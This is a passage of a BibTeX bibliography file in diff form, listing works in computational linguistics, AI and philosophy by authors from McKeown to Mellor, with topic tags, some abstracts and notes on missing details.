fischer_jm-ravizza:1998a}, + topic = {freedom;volition;} + } + +@phdthesis{ mckeown:1982b, + author = {Kathleen R. McKeown}, + title = {Generating Natural Language Text in Response to Questions + about Database Structure}, + school = {Department of Computer and Information Science, + University of Pennsylvania}, + year = {1982}, + note = {Technical Report MS-CIS-82-5.}, + topic = {nl-generation;} +} + +@book{ mckeown:1985b, + author = {Kathleen R. McKeown}, + title = {Text Generation: Using Discourse Strategies and Focus + Constraints to Generate Natural Language Text}, + publisher = {Cambridge University Press}, + year = {1985}, + topic = {nl-generation;pragmatics;} +} + +@article{ mckeown:1985c, + author = {Kathleen R. McKeown}, + title = {Discourse Strategies for Generating Natural-Language Text}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {1}, + pages = {1--41}, + note = {Also in {\em Readings in Natural Language Processing}, + Grosz, Sparck Jones and Webber eds., Morgan-Kaufmann, 1986.}, + topic = {nl-generation;pragmatics;} +} + +@article{ mckeown:1988a, + author = {Kathleen R. McKeown}, + title = {Generating Goal-Oriented Explanations}, + journal = {International Journal of Expert Systems}, + year = {1988}, + volume = {1}, + number = {4}, + pages = {377--395}, + topic = {nl-generation;explanation;kr-course;} + } + +@incollection{ mckeown-swartout:1988b, + author = {Kathleen R. McKeown and William R. Swartout}, + title = {Language Generation and Explanation}, + booktitle = {Advances in Natural Language Generation, Volume 1}, + publisher = {Ablex Publishing Company}, + address = {Norwood, New Jersey}, + year = {1988}, + editor = {M. Zock and G. Sabah}, + pages = {1--51}, + missinginfo = {E's 1st names}, + topic = {nl-generation;} + } + +@inproceedings{ mckeown-feiner:1990a, + author = {Steven K. Feiner and Kathleen R. McKeown}, + title = {Coordinating Text and Graphics in Explanation Generation}, + booktitle = {Proceedings of AAAI90, Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + pages = {442--449}, + topic = {nl-generation;multimedia-generation;explanation;} +} + +@inproceedings{ mckeown-etal:1993a, + author = {Kathleen R. McKeown and Jacques Robin and Michael Tanenblatt}, + title = {Tailoring Lexical Choice to the User's Vocabulary in + Multimedia Explanation Generation}, + booktitle = {Proceedings of ACL93, Thirty-First Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics}, + year = {1993}, + pages = {226--234}, + topic = {nl-generation;multimedia-generation;explanation;} +} + +@article{ mckeown-etal:1998a, + author = {Kathleen R. Mckeown and Stephen K. Feiner and Mukesh + Dalal and Shih-Fu Chang}, + title = {Generating Multimedia Briefings: Coordinating Language + and Illustration}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {95--116}, + topic = {multimedia-generation;} + } + +@book{ mckevitt:1995a, + editor = {Paul McKevitt}, + title = {Integration of Natural Language and Vision Processing}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + ISBN = {0792333799 (v. 1 : acid-free paper)}, + topic = {visual-reasoning;nl-processing;multimedia-interpretation; + multimedia-generation;} + } + +@book{ mckevitt:1995b, + editor = {Paul McKevitt}, + title = {Integration of Natural Language and Vision Processing. Volume + {II}, Intelligent Multimedia}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + ISBN = {0792337581}, + topic = {visual-reasoning;nl-processing;multimedia-interpretation; + multimedia-generation;} + } + +@book{ mckevitt:1996a, + editor = {Paul McKevitt}, + title = {Integration of Natural Language and Vision Processing: + Recent Advances}, + publisher = {Kluwer}, + year = {1996}, + address = {Dordrecht}, + ISBN = {0792341147}, + topic = {visual-reasoning;nl-processing;multimedia-interpretation; + multimedia-generation;} + } + +@phdthesis{ mckinney:1975a, + author = {Audrey Mckinney}, + title = {Conditional Obligation and Temporally Dependent Necessity: A + Study in Conditional Deontic Logic}, + school = {University of Pennsylvania}, + year = {1975}, + type = {Ph.{D}. Dissertation}, + address = {University of Pennsylvania}, + topic = {deontic-logic;temporal-logic;} + } + +@unpublished{ mckinney:1982a, + author = {Audrey Mckinney}, + title = {Conditional Obligation, Relative Necessity, and Possible Worlds}, + year = {1982}, + note = {Unpublished manuscript, {MIT}.}, + missinginfo = {Date is a guess.}, + topic = {deontic-logic;} + } + +@article{ mckinsey:1979a, + author = {Michael McKinsey}, + title = {Levels of obligation}, + journal = {Philosophical Studies}, + volume = {35}, + year = {1979}, + pages = {385--395}, + topic = {obligation;ethics;} + } + +@incollection{ mckinsey:1984a, + author = {Michael McKinsey}, + title = {Causality and the Paradox of Names}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {491--515}, + address = {Minneapolis}, + topic = {reference;causality;} + } + +@incollection{ mckinsey:1994a, + author = {Michael McKinsey}, + title = {Individuating Beliefs}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {303--330}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {belief;individuation;propositional-attitudes;} + } + +@article{ mckinsey:1999a, + author = {Michael McKinsey}, + title = {The Semantics of Belief Ascriptions}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {4}, + pages = {519--557}, + topic = {propositional-attitudes;belief;} + } + +@phdthesis{ mclaren:1999a, + author = {Bruce M. McLaren}, + title = {Assessing the Relevance of Cases and Principles Using + Operationalization Techniques}, + school = {Intelligent Systems Program, University of Pittsburgh}, + year = {1999}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh, Pennsylvania}, + topic = {case-based-reasoning;ethical-reasoning;} + } + +@article{ mclarty:1988a, + author = {Colin Mclarty}, + title = {Defining Sets as Sets of Points of Spaces}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {1}, + pages = {75--90}, + topic = {foundations-of-set-theory;category-theory;} + } + +@article{ mclarty:1993a, + author = {Colin Mclarty}, + title = {Anti-Foundations and Self-Reference}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {1}, + pages = {19--28}, + topic = {self-reference;anti-foundational-sets;} + } + +@incollection{ mclaughlin_bp:1984a, + author = {Brian P. McLaughlin}, + title = {Perception, Causation, and Supervenience}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {569--591}, + address = {Minneapolis}, + topic = {causality;supervenience;philosophy-of-mind;} + } + +@book{ mclaughlin_bp-rorty_ao:1988a, + editor = {Brian P. McLaughlin and Am/'elie Oksenberg Rorty}, + title = {Perspectives On Self-Deception}, + publisher = {University of California Press}, + year = {1988}, + address = {Berkeley, California}, + ISBN = {0520052080 (alk. paper)}, + topic = {self-deception;} + } + +@incollection{ mclaughlin_bp:1989a, + author = {Brian P. McLaughlin}, + title = {Type Epiphenomenalism, Type Dualism, + and the Causal Priority of the Physical}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {109--135}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {epiphenomenalism;} + } + +@article{ mclaughlin_bp:1991a, + author = {Brian P. McLaughlin}, + title = {Review of {\it Explaining Behavior: Reasons in a World of + Causes}, by {F}red {D}retske}, + journal = {The Philosophical Review}, + year = {1991}, + volume = {107}, + number = {2}, + pages = {641--645}, + xref = {Review of: dretske:1988a.}, + topic = {philosophy-of-mind;belief;desire;} + } + +@incollection{ mclaughlin_bp:1993a, + author = {Brian P. McLaughlin}, + title = {On {D}avidson's Response to the + Charge of Epiphenomenalism}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {27--40}, + address = {Oxford}, + topic = {mind-body-problem;causality;anomalous-monism;} + } + +@incollection{ mclaughlin_bp:1997a, + author = {Brian P. McLaughlin}, + title = {Supervenience, Vagueness, and Determinism}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {209--230}, + address = {Oxford}, + topic = {philosophy-of-mind;vagueness;} + } + +@article{ mclaughlin_bp-tye:1998a, + author = {Brian P. McLaughlin and Michael Tye}, + title = {Is Content-Externalism Compatible with Privileged + Access?}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {107}, + number = {3}, + pages = {349--380}, + topic = {content-externalism;foundations-or-semantics;} + } + +@book{ mclaughlin_m:1984a, + author = {M. McLaughlin}, + title = {Conversation: How Talk is Organized}, + publisher = {Sage Publications}, + year = {1984}, + address = {Beverly Hills, California}, + topic = {discourse;discourse-structure;pragmatics;} + } + +@article{ mcleash:1988a, + author = {Mary McLeish}, + title = {Introduction}, + journal = {Computational Intelligence}, + year = {1988}, + volume = {4}, + pages = {57}, + missinginfo = {number}, + topic = {reasoning-about-uncertainty;} + } + +@article{ mclelland-chihara:1975a, + author = {James Mclelland and Charles Chihara}, + title = {The Surprise Examination Paradox}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {1}, + pages = {71--89}, + topic = {surprise-examination-paradox;episteic-logic;} + } + +@article{ mcleod_d-yanover:1991a, + author = {Dennis McLeod and Paul L. Yanover}, + title = {Review of {\it Expert Database Systems: Proceedings From + the Second International Conference}, edited by {L}arry + {K}erschberg}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {2}, + pages = {245--252}, + topic = {expert-systems;databases;} + } + +@book{ mcleod_sk:2001a, + author = {Stephen K. McLeod}, + title = {Modality and Anti-Metaphysics}, + publisher = {Ashgate Publishing Co.}, + year = {2001}, + address = {Brookfield, Vermont}, + ISBN = {0 7546 1300 3}, + topic = {metaphysics;essentialism;modality;} + } + +@article{ mcmahon-smith:1996a, + author = {John G. Mcmahon and Francis J. Smith}, + title = {Improving Statistical Language Model Performance with + Automatically Generated Word Hierarchies}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {2}, + pages = {217--247}, + topic = {word-classification;corpus-linguistics;statistical-nlp;} + } + +@article{ mcmichael-zalta:1980a, + author = {Alan McMichael and Ed Zalta}, + title = {An Alternative Theory of Nonexistent Objects}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {297--313}, + topic = {reference-gaps;logic-of-existence;} + } + +@article{ mcmichael:1983a, + author = {Alan McMichael}, + title = {A New Actualist Modal Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {1}, + pages = {73--99}, + topic = {modal-logic;actualism;} + } + +@incollection{ mcmullan:1984a, + author = {Ernan McMullan}, + title = {Two Ideals of Explanation in Natural Science}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {205--220}, + address = {Minneapolis}, + topic = {philosophy-of-science;explanation;} + } + +@article{ mcnally:1998a, + author = {Louise Mcnally}, + title = {Existential Sentences with Existential Quantification}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {4}, + pages = {353--392}, + topic = {existential-constructions;nl-quantifiers;} + } + +@article{ mcnally:1999a, + author = {Louise Mcnally}, + title = {Review of {\it Ways of Scope-Taking}, edited by + {A}nna {S}zabolski}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {5}, + pages = {563--571}, + xref = {Review of szabolcsi:1997a.}, + topic = {nl-quantifier-scope;generalized-quantifiers;nl-semantics;} + } + +@article{ mcnamara:1996a, + author = {Paul McNamara}, + title = {Doing Well Enough: Toward a Logic for Common-Sense + Morality}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {167--192}, + topic = {deontic-logic;supererogation;qualitative-utility;} + } + +@incollection{ mcnamara:1998a, + author = {Paul McNamara}, + title = {Andersonian-{K}angerian Logics for Doing Well Enough}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {181--200}, + address = {Amsterdam}, + topic = {deontic-logic;} + } + +@incollection{ mcnamara-prakken:1998a, + author = {Paul McNamara and Henry Prakken}, + title = {Introduction}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {1--14}, + address = {Amsterdam}, + topic = {deontic-logic;} + } + +@incollection{ mcneil:1971a, + author = {David McNeil}, + title = {Are There Specifically Linguistic Universals?}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {530--535}, + address = {Cambridge, England}, + topic = {language-universals;} + } + +@unpublished{ mcneill:1975a, + author = {David McNeill}, + title = {The Place of Grammar in a Theory of Performance}, + year = {1975}, + note = {Unpublished manuscript, Institute for Advanced Study, Princeton, + New Jersey.}, + topic = {philosophy-of-linguistics;} + } + +@book{ mcneill:1992a, + author = {David McNeill}, + title = {Hand and Mind: What Gestures Reveal about Thought}, + year = {1992}, + publisher = {University of Chicago Press}, + address = {Chicago}, + topic = {gestures;} + } + +@techreport{ mcrobbie:1982a, + author = {Michael A. McRobbie}, + title = {Interpolation Theorems: A Bibliography}, + institution = {Department of Philosophy, University of Melbourne}, + number = {1/82}, + year = {1982}, + address = {Melbourne}, + topic = {interpolation-theorems;} + } + +@article{ mcroy_s-hirst:1995a, + author = {Susan McRoy and Graeme Hirst}, + title = {The Repair of Speech Act Misunderstandings by Abductive + Inference}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {4}, + pages = {435--478}, + topic = {discourse;abduction;coord-in-conversation;pragmatics;} + } + +@article{ mcroy_s:1996a, + author = {Susan McRoy}, + title = {Speakers, Listeners, and Communication: Explorations in + Discourse Analysis}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {444--447}, + topic = {discourse;discourse-analysis;referring-expressions; + definite-descriptions;anaphora;pragmatics;} + } + +@inproceedings{ mcroy_s-ali:1999a, + author = {Susan McRoy and Syed S. Ali}, + title = {A Practical, Declarative Theory of Dialogue}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {97--103}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;discourse;} + } + +@article{ medress-etal:1977a, + author = {M.F. Medress and F.S. Cooper and J.W. Forgie and C.C. + Green and D.H. Klatt, M.H. O'Malley and E.P. Neuburg and A. + Newell and D.R. Reddy and B. Ritea and J.E. Shoup-Hummel and + D.E. Walker and W.A. Woods}, + title = {Speech Understanding Systems: Report of a Steering + Committee}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {3}, + pages = {307--316}, + acontentnote = {Abstract: + A five-year interdisciplinary effort by speech scientists and + computer scientists has demonstrated the feasibility of + programming a computer system to ``understand'' connected + speech, i.e., translate it into operational form and respond + accordingly. An operational system (HARPY) accepts speech from + five speakers, interprets a 1000-word vocabulary, and attains 91 + percent sentence accuracy. This Steering Committee summary + report describes the project history, problem, goals, and + results. + } , + topic = {speech-recognition;computational-dialogue;} + } + +@article{ meeden-etal:2000a, + author = {Lisa Meeden and Alan Schultz and Tucker Balch and Rahul + Bhargava and Karen Zita Haigh and Marc Bohlen and Cathryne + Stein and David Miller}, + title = {The {AAAI} 1999 Mobile Robot Competitions and Exhibitions}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {69--78}, + topic = {robotics;} + } + +@techreport{ megiddo:1986a, + author = {Nimrod Megiddo}, + title = {Remarks on Bounded Rationality}, + institution = {{IBM}}, + number = {RJ 5720}, + year = {1986}, + topic = {resource-limited-reasoning;limited-rationality;} + } + +@inproceedings{ megiddo-wigderson:1986a, + author = {Nimrod Megiddo and Avi Wigderson}, + title = {On Play by Means of Computing Machines}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {259--274}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {game-theory;limited-rationality;} + } + +@article{ megiddo:1989a, + author = {Nimrod Megiddo}, + title = {On Computable Beliefs of Rational Machines}, + journal = {Games and Economical Behavior}, + year = {1989}, + volume = {1}, + pages = {144--169}, + missinginfo = {number}, + topic = {epistemic-logic;game-theory;} + } + +@article{ mei_tl:1961a, + author = {Tsu-Lin Mei}, + title = {Subject and Predicate: A Grammatical Preliminary}, + journal = {The Philosophical Review}, + year = {1961}, + volume = {70}, + number = {1}, + pages = {153--175}, + topic = {mass-term-semantics;philosophical-ontology;} + } + +@book{ meinong:1917a, + author = {Alexius Meinong}, + title = {On Emotional Presentation}, + publisher = {Northwestern University Press}, + address = {Evanston}, + year = {1972}, + note= {Originally published as {\em {\"U}ber + Emotionale Pr{\"a}sentation}, Vienna, 1917}, + topic = {emotion;} + } + +@inproceedings{ meiri:1991a, + author = {Itay Meiri}, + title = {Combining Qualitative and Quantitative Constraints in Temporal + Reasoning}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {260--267}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + xref = {See meiri:1996a for journal publication.}, + topic = {temporal-reasoning;qualitative-reasoning;kr;krcourse; + combined-qualitative-and-quantitative-reasoning;} + } + +@article{ meiri:1996a, + author = {Itay Meiri}, + title = {Combining Qualitative and Quantitative Constraints + in Temporal Reasoning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {343--385}, + xref = {See meiri:1991a for conference publication.}, + topic = {temporal-reasoning;qualitative-reasoning;kr;krcourse; + combined-qualitative-and-quantitative-reasoning;} + } + +@article{ meiri-etal:1996a, + author = {Itay Meiri and Rina Dechter and Judea Pearl}, + title = {Uncovering Trees in Constraint Networks}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {2}, + pages = {245--267}, + acontentnote = {Abstract: + This paper examines the possibility of removing redundant + information from a given knowledge base and restructuring it in + the form of a tree to enable efficient problem-solving routines. + We offer a novel approach that guarantees removal of all + redundancies that hide a tree structure. We develop a + polynomial-time algorithm that, given an arbitrary binary + constraint network, either extracts (by edge removal) a precise + tree representation from the path-consistent version of the + network or acknowledges that no such tree can be extracted. In + the latter case, a tree is generated that may serve as an + approximation to the original network. } , + topic = {problem-solving;constraint-networks;} + } + +@book{ meister:1991a, + author = {David Meister}, + title = {Psychology of System Design}, + publisher = {Elsevier}, + year = {1991}, + address = {Amsterdam}, + ISBN = {0444883789}, + topic = {HCI;} + } + +@inproceedings{ mela-fouquere:1996a, + author = {Augusta Mela and Christophe Fouquer\'e}, + title = {Coordination as a Direct Process}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {124--131}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {coordination;HPSG;} + } + +@inproceedings{ melamed:1995a, + author = {I. Dan Melamed}, + title = {Automatic Evaluation and Uniform Filter Cascades for + Inducing N-Best Translation Lexicons}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {184--198}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;word-sequence-probabilities; + dictionary-construction;} + } + +@incollection{ melamed:1996a, + author = {I. Dan Melamed}, + title = {A Geometric Approach to Mapping Bitext + Correspondence}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {1--12}, + address = {Somerset, New Jersey}, + topic = {multilingual-corpora;text-alignment;} + } + +@incollection{ melamed:1997a, + author = {I. Dan Melamed}, + title = {Automatic Discovery of Non-Compositional + Compounds in Parallel Data}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {97--108}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;corpus-tagging;idioms;} + } + +@inproceedings{ melamed:1997b, + author = {I. Dan Melamed}, + title = {A Word-to-Word Model of Translational Equivalence}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {490--497}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {machine-translation;} + } + +@inproceedings{ melamed:1997c, + author = {I. Dan Melamed}, + title = {A Portable Algorithm for Mapping Bitext Correspondence}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {305--312}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {text-alignment;} + } + +@article{ melamed-li_h:1999a, + author = {I. Dan Melamed and Hang Li}, + title = {Review of {\it Ambiguity Resolution in Language + Learning: Computational and Cognitive Models}, + by {H}inrich {S}ch\"utze}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {436--439}, + topic = {lexical-disambiguation;L1-language-learning; + disambiguation;ambiguity;} + } + +@article{ melamed:2000a, + author = {I. Dan Melamed}, + title = {Models of Translation Equivalence among Words}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {221--249}, + topic = {machine-translation;statistical-nlp;multilingual-corpora;} + } + +@book{ melcuk:1979a, + author = {Igor A. Mel\v{c}uk}, + title = {Studies in Dependency Syntax}, + publisher = {Karoma Publishers}, + year = {1979}, + address = {Ann Arbor}, + ISBN = {0897200012}, + topic = {nl-syntax;} + } + +@book{ melcuk:1982a, + author = {Igor A. Melcuk}, + title = {Towards a Language of Linguistics: A System of Formal Notions + for Theoretical Morphology}, + publisher = {W. Fink}, + year = {1982}, + address = {Munich}, + ISBN = {3770519655 (pbk.)}, + note = {Revised and edited by P. Luelsdorff.}, + topic = {morphology;} + } + +@book{ melcuk-pertsov:1987a, + author = {Igor A. Melcuk and Nikolaj V. Pertsov}, + title = {Surface Syntax Of English: A Formal Model within the + Meaning-Text Framework}, + publisher = {Benjamins Publishing Co.}, + year = {1987}, + address = {Amsterdam}, + ISBN = {9027215154 (Netherlands : alk. paper) :}, + topic = {nl-syntax;English-language;} + } + +@book{ melcuk:1988a, + author = {Igor A. Mel\v{c}uk}, + title = {Dependency Syntax: Theory and Practice}, + publisher = {State University Press of New York}, + year = {1988}, + address = {Albany, New York}, + ISBN = {0887064507}, + topic = {dependency-grammar;} + } + +@article{ melcuk-polguere:1998a, + author = {Igor~A. Mel'\v{c}uk and Alain Polgu\`{e}re}, + title = {A Formal Lexicon in Meaning-Text Theory (Or How to Do + Lexica with Words)}, + journal = {Computational Linguistics}, + year = {1987}, + volume = {13}, + number = {3--4}, + missinginfo = {pages}, + topic = {lexicon;} + } + +@book{ mele:1992a, + author = {Alfred R. Mele}, + title = {Springs of Action: Understanding Intentional behavior}, + publisher = {Oxford University Press}, + year = {1992}, + address = {Oxford}, + topic = {action;intention;} + } + +@book{ mele:1995a, + author = {Alfred R. Mele}, + title = {Autonomous Agents: From Self-Control + to Autonomy}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + xref = {Review: fischer_jm:1999a.}, + topic = {action;volition;akrasia;} + } + +@article{ mele:1995b, + author = {Alfred R. Mele}, + title = {Motivation: Essentially Motivation-Constituting Attitudes}, + journal = {The Philosophical Review}, + year = {1995}, + volume = {104}, + number = {3}, + pages = {387--423}, + topic = {emotion;practical-reasoning;motivation;} + } + +@incollection{ mele:1997a, + author = {Alfred R. Mele}, + title = {Agency and Mental Action}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {231--249}, + address = {Oxford}, + topic = {action;philosophy-of-mind;} + } + +@incollection{ mele:2000a, + author = {Alfred R. Mele}, + title = {Goal-Directed Action: Teleological Explanations, Causal + Theories, and Deviance}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {267--277}, + address = {Oxford}, + topic = {action;teleology;} + } + +@book{ mele:2000b, + author = {Alfred R. Mele}, + title = {Self-Deception Unmasked}, + publisher = {Princeton University Press}, + year = {2000}, + address = {Princeton, New Jersey}, + ISBN = {069105741 (Pbk)}, + topic = {self-deception;} + } + +@article{ melemed:1999a, + author = {I. Dan Melemed}, + title = {Bitext Maps and Alignment via Pattern Recognition}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {1}, + pages = {107--130}, + topic = {text-alignment;pattern-recognition;} + } + +@article{ melis-siekmann:1999a, + author = {Erica Melis and Jorg Siekmann}, + title = {Knowledge-Based Proof Planning}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {115}, + number = {1}, + pages = {65--105}, + topic = {theorem-proving;hierarchical-problem-solving; + hierarchical-planning;declarative-search-control;} + } + +@book{ mellish:1985a, + author = {Chris Mellish}, + title = {Computer Interpretation of Natural Language Descriptions}, + publisher = {Ellis Horwood}, + year = {1985}, + address = {Chichester, England}, + topic = {nl-interpretation;} + } + +@article{ mellish:1991a, + author = {Chris Mellish}, + title = {The Description Identification Problem}, + journal = {Artificial Intelligence}, + year = {2991}, + volume = {52}, + number = {2}, + pages = {151--167}, + acontentnote = {Abstract: + In this note we introduce a notion of description identification + which generalises both concept learning (as conceptualised by + Winston, Young et al. and Mitchell) and also incremental + description refinement (as described by Bobrow and Webber). + Assuming certain properties of the description space involved, + there is an algorithm for solving the more general description + identification problem, which extends the version space strategy + of Mitchell, and we present this. + The work described here can be regarded as a further + formalisation and development of the work of Mitchell on version + space representation and the work of Young et al. and Plotkin on + description spaces. Plotkin's unpublished work presented a + similar, though slightly more restricted, approach to the + concept learning part of our subject and gave examples of types + of description spaces that connect the work with the earlier + work of Winston.}, + topic = {version-spaces;concept-learning;} + } + +@inproceedings{ mellish-reiter:1993a, + author = {Chris Mellish and Ehud Reiter}, + title = {Using Classification as a Programming Language}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {696--701}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + commentnote = {Use of a classifier in generation and as gp programming + language.}, + topic = {kr;taxonomic-logics-applications;kr-course;} + } + +@incollection{ mellish-etal:1998a, + author = {Chris Mellish and Alisdair Knott and Jon Oberlander and + Mick O'Donnell}, + title = {Experiments Using Stochastic Search for Text Planning}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {98--107}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;nl-generation-algorithms;stochastic-search; + text-planning;} + } + +@incollection{ mellish-etal:1998b, + author = {Chris Mellish and Mick O'Donnell and Jon Oberlander + and Alistair Knott}, + title = {An Architecture for Opportunistic Text Generation}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {28--37}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;} + } + +@book{ mellor:1973a, + author = {D.H. Mellor}, + title = {The Matter of Chance}, + publisher = {Oxford University Press}, + year = {1973}, + address = {Oxford}, + missinginfo = {A's 1st name.}, + topic = {chance;} + } + +@article{ mellor:1973b, + author = {D.H. Mellor}, + title = {In Defense of Dispositions}, + journal = {The Philosophical Review}, + year = {1973}, + volume = {83}, + pages = {157--181}, + missinginfo = {A's 1st name, number}, + topic = {dispositions;} + } + +@article{ mellor:1973c, + author = {D.H. Mellor}, + title = {How to Believe a Conditional}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {5}, + pages = {233--248}, + missinginfo = {A's 1t name.}, + topic = {conditionals;} + } + +@book{ mellor_dh:1980a, + editor = {D.H. Mellor}, + title = {Prospects For Pragmatism : Essays In Memory of + {F}.{P}. {R}amsey}, + publisher = {Cambridge University Press}, + year = {1980}, + address = {Cambridge, England}, + ISBN = {0521225485}, + contentnote = {TC: + 1. S. Haack, "Is truth flat or bumpy?" + 2. C.S. Chihara, "Ramsey's theory of types" + 3. B. Loar, "Ramsey's theory of belief and truth" + 4. J. Skorupski, "Ramsey on Belief" + 5. C. Hookway, "Inference, partial belief, and psychological + laws" + 6. B. Skyrms, "Higher order degrees of belief" + 7. D. H. 